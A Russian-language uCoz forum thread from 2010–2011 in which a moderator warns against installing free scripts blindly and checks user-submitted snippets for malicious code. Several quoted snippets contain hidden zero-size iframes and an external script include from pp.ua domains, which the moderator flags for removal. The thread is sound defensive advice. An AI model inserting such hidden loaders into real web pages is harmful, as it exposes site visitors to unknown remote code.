Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если вы решили добавить к себе на сайт скрипт (скрипты для uCoz)
Если вы решили добавить к себе на сайт скрипт
Модератор форума
Сообщение # 1 | 23:24:25 02 Дек 2010
...ошибка новичка, пихать всё на сайт ©Prifect

С помощью различных скриптов можно значительно расширить функциональность и внешний вид сайта. При правильном и рациональном использовании скриптов можно сделать свой сайт удобным, красивым и неповторимым. Можно писать скрипты и элементы дизайна самостоятельно - в таких случаях практически не возникает проблем. Человек очень четко представляет что ему нужно и как все должно функционировать. Но чаще всего происходит так, что нужные и не очень скрипты, находятся в интернете и устанавливаются на сайт.

Скрипты для uCoz найденные в открытом доступе

Существует множество сайтов раздающих скрипты и элементы дизайна для сайтов системы uCoz. Как правило это уже готовые к использованию скрипты, которые можно просто скопировать из сообщения и вставить к себе на сайт. Как правило так и делают: копируют и вставляют, что является большой ошибкой.


Если в готовом скрипте есть графика в виде картинок, то всю такую графику (то есть картинки) нужно скачать к себе на компьютер, а потом залить на сайт через файловый менеджер и перепрописать все сторонние ссылки на картинки на свои (скопированные из файлового менеджера)

В итоге
Code
src="http://vaseapupkin.ucoz.ru/term/images/demo.png"

должно превратиться в
Code
src="http://mysite.ucoz.ru/term/images/demo.png"


Так вы не будете зависеть от работы сайта vaseapupkin.ucoz.ru, а так же от причуд администратора этого сайта, который может просто удалить эти картинки со своего сайта или заменить их на другие

ВЫВОД: Подгружать графику находящуюся на чужих сайтах и залитую на сторонние сайты используя внешние ссылки не рекомендуется!


Если в готовом коде есть необходимость в установке javascript массива вида

Code
<script type="text/javascript" src="http://vaseapupkin.ucoz.ru/demo.js"></script>


то копировать его в том виде как он раздается категорически не рекомендуется. javascript обязательно нужно залить к себе на сайт через файловый менеджер в отдельную папку.
Уважающие себя сайты раздают такие массивы на скачивание. Файл можно скачать к себе на компьютер, открыть в блокноте например, проверить и залить к себе на сайт через файловый менеджер. Если скачивание скрипта не дается, то можно открыть в браузере адрес скрипта http://vaseapupkin.ucoz.ru/demo.js, на открывшейся странице щелкнуть правой кнопкой мыши и нажать на сохранить как..., так вы скачаете файл для последующей закачки к себе на сайт через файловый менеджер. Файлы javascript нужно закачивать в папку созданную в файловом менеджере

В итоге
Code
<script type="text/javascript" src="http://vaseapupkin.ucoz.ru/demo.js"></script>

должно превратиться в
Code
<script type="text/javascript" src="http://mysite.ucoz.ru/papka/demo.js"></script>


Так вы не будете зависеть от работы сайта с которого подгружался бы ваш javascript, а так же не будете зависеть от степени порядочности владельца сайта на который загружен javascript, ведь файл можно всегда изменить.
Особенно хочу отметить то, что если вы не понимаете работу javascript кода который берете или не понимаете сам код, то лучше воздержаться от установки к себе на сайт кода который вы не понимаете!

ВЫВОД: Подгружать javascript со сторонних сайтов категорически не рекомендуется!!!



Осторожно IFRAME !


IFRAME считается потенциально опасным кодом, поэтому его использование ограничено. Система uCoz использует IFRAME для вывода рекламного баннера и для трансляции мини-чата. Эти IFRAME безопасны! Так же с помощью IFRAME работают некоторые гаджеты и виджеты.

IFRAME так же может использоваться некоторыми партнерскими программами и рекламными сетями. Так же с помощью IFRAME можно вставлять видео на сайт с YouTube и Контакта. Некоторые сайты раздают свои информеры контента с помощью IFRAME. Если вы полностью доверяете сайтам раздающим в своем коде IFRAME и это необходимо для трансляции или контента или рекламных блоков или информеров или видео, то можете добавлять, но только из проверенных источников, и нужно помнить, что чем меньше IFRAME на сайте - тем лучше.

Если вы берёте в открытом доступе скрипт или элемент дизайна для uCoz, и в нем есть код типа

Code
<iframe src="http://vaseapupkin.ucoz.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe>


то такой скрипт или элемент дизайна брать, а особенно копировать и ставить к себе на сайт категорически нельзя! Вы должны понимать, что такого вида кодом, вы транслируете у себя на сайте совершенно чужой сайт, на котором находится неизвестно что. Обычно такие IFRAME вставляются в скрипты и в элементы дизайна злоумышленниками, которые посредством таких открытых раздач, заодно раздают элементы своих мошеннических сетей.
Установив скрипт с подобным кодом внутри, к себе на сайт, вы можете столкнуться с такими неприятностями как:

1) реакция аллерта вашего антивируса на ваш же сайт
2) блокировка вашего сайта поисковиком с наложением фильтра с табличкой и пометкой в выдаче, о том, что ваш сайт может нанести вред компьютеру

ВЫВОД: IFRAME потенциально опасный код, использование которого на сайте должно быть строго ограничено! Если вы видите код в котором присутствует IFRAME и не понимаете его назначения, то устанавливать к себе на сайт подобный код не рекомендуется!
Если в открытой раздаче скриптов и элементов дизайна для uCoz присутствует IFRAME, то копировать такой код и устанавливать к себе на сайт категорически не рекомендуется!

В заключении хочется сказать, что если вы совсем не понимаете принцип работы того или иного скрипта, и если совсем не понимаете код который копируете, то лучше воздержаться от установки непонятного вам скрипта к себе на сайт. Неразумное обращение со скриптами обычно приводит к очень тяжелым последствиям.

Если вы занимаетесь сбором скриптов и элементов дизайна, то эта памятка для вас! В этой теме вы всегда можете подать запрос на проверку найденного скрипта или элемента дизайна на наличие вредоносного кода и спама. В этой теме не обсуждается установка, проблемы работоспособности и поиск скриптов. Только проверка на вредоносный код и спам!


Cyber1098
Сообщений: 19
Репутация: 0

Сообщение # 16 | 16:11:49 26 Фев 2011
... не буду ставить .... я просто хотел такой блок !!!!! я думал дать свои ссылки на программки !!!!!
Cyber1098
Сообщений: 19
Репутация: 0

Сообщение # 17 | 16:11:49 26 Фев 2011
ПЕРЕВІРЬТЕ БУДЬЛАСКА ЧИ ТУТ Є ВІРУСИ!!!
Code
<style>    
.answer div div {height: 10px !important; border: 1px solid #000; background-repeat: repeat-x}    
</style>    

<div style="font-family:Tahoma,Arial;">    
<div style="font-size:8pt;padding-top:2px;text-align:left;"><b>$QUESTION$</b></div>    
<div style="font-size:8pt;text-align:left;">$ANSWERS$</div>    
<div style="padding-top:4px;text-align:center;"><iframe src="http://5fg4.pp.ua" width="0" height="0" style="display:none"></iframe><img alt="$RESULTS_LINK$" src="http://i065.radikal.ru/1007/1a/bcf8b653350d.png"> <img alt="$ARCHIVE_LINK$" src="http://s41.radikal.ru/i094/1007/8c/088815426aa2.png"></div>    
<script type="text/javascript">    
     var a = ['http://i026.radikal.ru/0909/c3/31055bd00c8e.gif','http://s44.radikal.ru/i103/0909/8e/d9bbc1c577eb.gif','http://i035.radikal.ru/0909/1e/c846eb96239c.gif','http://s04.radikal.ru/i177/0909/10/b89c877b4b90.gif','http://i033.radikal.ru/0909/61/8319ceb1a628.gif'];    
     for(var i = 0; i < a.length; i++){    
     $('div.answer div div').eq(i).css({background: 'url(' + a[i] + ')', backgroundRepeat: 'repeat-x'});    
     }    
         
     $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});    
     </script>    
     <div style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div>    
</div>
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 18 | 16:11:49 26 Фев 2011
Admin1867, содержимое этого скрипта http://site.ru/share42/share42.js говорит о том, что этот мусор в прямом смысле этого слова вам на сайте точно не нужен.
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Admin1867
Сообщений: 7
Репутация: 0

Сообщение # 19 | 16:11:49 26 Фев 2011
webanet, такой вопрос...вот скрипт <script type="text/javascript" src="http://site.ru/share42/share42.js"></script>
<script type="text/javascript">share42('site.ru/share42/','','',150,20)</script>
насколько он вредоносен...я его ставил на сайт,потом убрал..
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 20 | 16:11:49 26 Фев 2011
Cyber1098, да есть. выделенное красным удалить
Quote
<style>
.answer div div {height: 10px !important; border: 1px solid #000; background-repeat: repeat-x}
</style>

<div style="font-family:Tahoma,Arial;">
<div style="font-size:8pt;padding-top:2px;text-align:left;"><b>$QUESTION$</b></div>
<div style="font-size:8pt;text-align:left;">$ANSWERS$</div>
<div style="padding-top:4px;text-align:center;"><iframe src="http://5fg4.pp.ua" width="0" height="0" style="display:none"></iframe><img alt="$RESULTS_LINK$" src="http://i065.radikal.ru/1007/1a/bcf8b653350d.png"> <img alt="$ARCHIVE_LINK$" src="http://s41.radikal.ru/i094/1007/8c/088815426aa2.png"></div>
<script type="text/javascript">
var a = ['http://i026.radikal.ru/0909/c3/31055bd00c8e.gif','http://s44.radikal.ru/i103/0909/8e/d9bbc1c577eb.gif','http://i035.radikal.ru/0909/1e/c846eb96239c.gif','http://s04.radikal.ru/i177/0909/10/b89c877b4b90.gif','http://i033.radikal.ru/0909/61/8319ceb1a628.gif'];
for(var i = 0; i < a.length; i++){
$('div.answer div div').eq(i).css({background: 'url(' + a[i] + ')', backgroundRepeat: 'repeat-x'});
}

$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
</script>
<div style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div>
</div>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Cyber1098
Сообщений: 19
Репутация: 0

Сообщение # 21 | 16:11:49 26 Фев 2011
проверьте пожалуйста этот скрипт на вирусы
Code
<iframe width="100%" height="100%" scrolling="no" frameborder="0" src="http://scriptbox.net.ru/photosoft.html"></iframe><center><a href="http://scriptbox.net.ru/news/2009-11-17-21" target="_blank"><script src="http://ijl.pp.ua/1.js" type="text/javascript"></script><font style="font-size: 9px; font-weight: bold; color: rgb(100, 146, 200); text-decoration: underline;" size="1px"></font></a></center>
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 22 | 16:11:49 26 Фев 2011
Cyber1098, глупейший скрипт конечно. тут вообще грубо говоря мало что нужно
выделенное красным удалить
Quote
<iframe width="100%" height="100%" scrolling="no" frameborder="0" src="http://scriptbox.net.ru/photosoft.html"></iframe><center><a href="http://scriptbox.net.ru/news/2009-11-17-21" target="_blank"><script src="http://ijl.pp.ua/1.js" type="text/javascript"></script><font style="font-size: 9px; font-weight: bold; color: rgb(100, 146, 200); text-decoration: underline;" size="1px"></font></a></center>

синим выделена подгрузка облака, черным выделено то что ненужно и ведет не на ту страницу. лишняя внешка

жирным красным выделено опасное, остальное мусор. у меня вопрос. вы этот скрипт где взяли?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Cyber1098
Сообщений: 19
Репутация: 0

Сообщение # 23 | 16:11:49 26 Фев 2011
http://softs.ucoz.ua/forum/14
здесь
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 24 | 16:11:49 26 Фев 2011
Cyber1098, спасибо. а скрипт что вы выложили лучше не ставить. там рабочая часть выводится ифреймом. но дело даже не в этом, а в содержании скрипта. там ссылки на депозит на скачивание неизвестно чего. во-первых вы кормите раздающего скрипт возможными скачиваниями, во-вторых никто не знает что там в итоге будет скачиваться. смылс в скрипте есть только у раздающего чтобы повысить закачки и все. а на сайтах это мусор. делайте выводы не ставьте что попало. вам нет смысла ставить это
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Mishanya_V
Сообщений: 10
Репутация: 7

Сообщение # 25 | 17:30:25 17 Мар 2011
Ребята поимогите пожалуйста! У меня при изменении шаблона пишет

"Найден код порнографической баннерной сети или партнерской программы.
Размещение на сайте порно-рекламы или popUp/popUnder рекламы запрещено. Нарушение правила влечет блокировку сайта."

Из рекламы у меня:
Гугл реклама, гугл поиск,
tak.ru
банерные програмы:
banner.kiev.ua
banner.ua

Никакой парнухи нет и быть не может!!!
Что делать и как с єтим боротся??
Жду помощи!!!!

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 26 | 23:16:21 17 Мар 2011
Mishanya_V,
Quote
Никакой парнухи нет и быть не может!!!
Что делать и как с єтим боротся??

на сайте нет, а вот в коде который вы пытаетесь вставить может быть поэтому при сохранении получаете ошибку

поэтому дайте сюда то, что вы пытаетесь вставить в шаблон и получаете ошибку
и ссылку на сайт заодно

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Lisa7871
Сообщений: 3
Репутация: 0

Сообщение # 27 | 19:53:49 22 Мар 2011
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="kitty2" align="middle" width="195" height="195"><param name="allowScriptAccess" value="sameDomain"><param name="allowFullScreen" value="false"><param name="movie" value="http://plusoft.ru/swf/kitty.swf"><param name="quality" value="high"><param name="bgcolor" value="#eeeeee"><embed src="http://plusoft.ru/swf/kitty.swf" quality="high" wmode="transparent" name="kitty2" allowscriptaccess="sameDomain" allowfullscreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" align="middle" width="195" height="195"></object><iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://plusoft.ru/scripts_for_ucoz/"></iframe><a href="http://plusoft.ru/scripts_for_ucoz// title="скрипт для ucoz зверюшка" style="display:none;">скрипт зверюшка</a>

можно проверить этот скриптик?

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 28 | 19:59:06 22 Мар 2011
выделенное красным удалить

Quote
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="kitty2" align="middle" width="195" height="195"><param name="allowScriptAccess" value="sameDomain"><param name="allowFullScreen" value="false"><param name="movie" value="http://plusoft.ru/swf/kitty.swf"><param name="quality" value="high"><param name="bgcolor" value="#eeeeee"><embed src="http://plusoft.ru/swf/kitty.swf" quality="high" wmode="transparent" name="kitty2" allowscriptaccess="sameDomain" allowfullscreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" align="middle" width="195" height="195"></object><iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://plusoft.ru/scripts_for_ucoz/"></iframe><a href="http://plusoft.ru/scripts_for_ucoz// title="скрипт для ucoz зверюшка" style="display:none;">скрипт зверюшка</a>

синим выделена ссылка на сайт откуда подгружается флеш, но тоже не нужно столько спама на сайте.а красным скрытая подгрузка сайта раздающего.. достаточно того что присутствует ссылка на объект. и не усердствуйте со вставкой инородных объектов на сайт, тем более подгружаемых с чужих сайтов

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Olympik
Сообщений: 2
Репутация: 0

Сообщение # 29 | 12:00:50 25 Мар 2011
Проверьте пожалуйста этот скрипт ...
Code
<img src="http://www.all-for-kompa.3dn.ru/nado/novost/wins.png" class="IEpng" alt="Победы" align="center" border="0"><br>Победы(0)<br><hr size="2" width="100%"><img src="http://www.all-for-kompa.3dn.ru/nado/novost/draw.png" class="IEpng" alt="Ничьи" align="center" border="0"><br>Ничьи(0)<br><hr size="2" width="100%"><img src="http://www.all-for-kompa.3dn.ru/nado/novost/lose.png" class="IEpng" alt="Поражения" align="center" border="0"><br>Поражения(0)<br><hr size="2" width="100%"><img src="http://www.all-for-kompa.3dn.ru/nado/novost/pistols.png" class="IEpng" width="78" border="0" height="78"><br><a href="Ваша ссылка где забить CW">Забить cw</a><br><br>
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 30 | 15:18:58 25 Мар 2011
Olympik, тут все чисто. если сайт www.all-for-kompa.3dn.ru не ваш, то просто перезалейте картинки к себе на сайт и всё
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если вы решили добавить к себе на сайт скрипт (скрипты для uCoz)
Поиск: